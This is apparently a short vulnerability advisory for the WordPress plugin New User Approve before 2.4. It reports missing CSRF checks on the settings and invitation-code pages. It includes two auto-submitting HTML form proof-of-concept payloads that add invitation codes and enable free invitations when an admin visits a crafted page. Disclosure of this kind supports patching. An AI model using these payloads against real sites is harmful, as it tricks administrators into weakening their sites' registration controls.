New User Approve < 2.4 - Arbitrary Settings Update & Invitation Code Creation via CSRF

2022-06-0100:00:00

Daniel Ruf

arbitrary settings update

csrf

invitation code creation

cross-site request forgery

security vulnerabilities

EPSS

0.001

Percentile

25.9%

JSON

The plugin does not have CSRF check in place when updating its settings and adding invitation codes, which could allow attackers to add invitation codes (for bypassing the provided restrictions) and to change plugin settings by tricking admin users into visiting specially crafted websites.

Add codes:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code" method="POST">
    <textarea name="nua_manual_add[codes]">test
sesame-open
let-me-in
</textarea>
    <input type="text" name="nua_manual_add[usage_limit]" value="99">
    <input type="text" name="nua_manual_add[expiry_date]" value="2022-04-30">
    <input type="text" name="nua_manual_add[submit]" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>


Update Settings:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code&action=Settings" method="POST">
    <input type="text" name="nua_free_invitation" value="enable">
    <input type="text" name="nua_inv_code_submit" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>

EPSS

0.001

Percentile

25.9%

JSON

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